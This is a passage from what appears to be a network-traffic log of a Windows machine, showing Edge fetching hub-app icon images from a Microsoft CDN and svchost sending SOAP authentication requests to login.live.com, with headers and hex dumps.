32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-24 00:39:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Jul 2024 00:38:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C520_BL2 x-ms-request-id: a130f8a9-48c2-4b79-9c8a-52d8db805395 PPServer: PPV: 30 H: BL02EPF0001D7FF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:39:34 GMT Connection: close Content-Length: 11390
2024-07-24 00:39:34 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49831	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:30 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0488fedf-501e-005d-112c-dd9803000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003930Z-15b94bb6ff925b9tx3n1tt3cy400000001cg000000006d5x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:30 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49829	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:30 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 38a20eae-201e-0052-3e59-dd75f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003930Z-15b94bb6ff9gbn9dwppk7dz8tw00000000zg000000006yz5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:30 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49830	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:30 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 94814576-501e-0074-1698-dcee41000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003930Z-15b94bb6ff9f6lb49366mxup980000000mm000000000cmm5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:30 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49833	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:30 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: de98f73a-701e-0068-1a59-dd3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003930Z-15b94bb6ff9nzhrq8zg8fce6a80000000gtg00000000n7ub Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:30 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49832	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:30 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 4f6812b4-001e-0045-5b59-ddb596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003930Z-15b94bb6ff9j5wxz0ew5xzhr540000000h1g00000000206r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:30 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49834	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:30 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:30 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:30 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: cc5c4ed0-301e-0064-7136-ddd8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003930Z-15b94bb6ff9v2qb4b95d0p0en400000007u000000000mzkx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:30 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49837	13.107.246.40	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:31 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:31 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:31 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 71f877a1-b01e-0031-6498-dc33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240724T003931Z-15b94bb6ff925b9tx3n1tt3cy4000000019g00000000d2n6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-24 00:39:31 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49838	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-07-24 00:39:35 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-24 00:39:35 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Jul 2024 00:38:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 6a9f8217-32bb-4d35-ab85-e482f4ece22f PPServer: PPV: 30 H: SN1PEPF0002F05F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:39:34 GMT Connection: close Content-Length: 1919
2024-07-24 00:39:35 UTC	1919	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49839	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-07-24 00:39:36 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
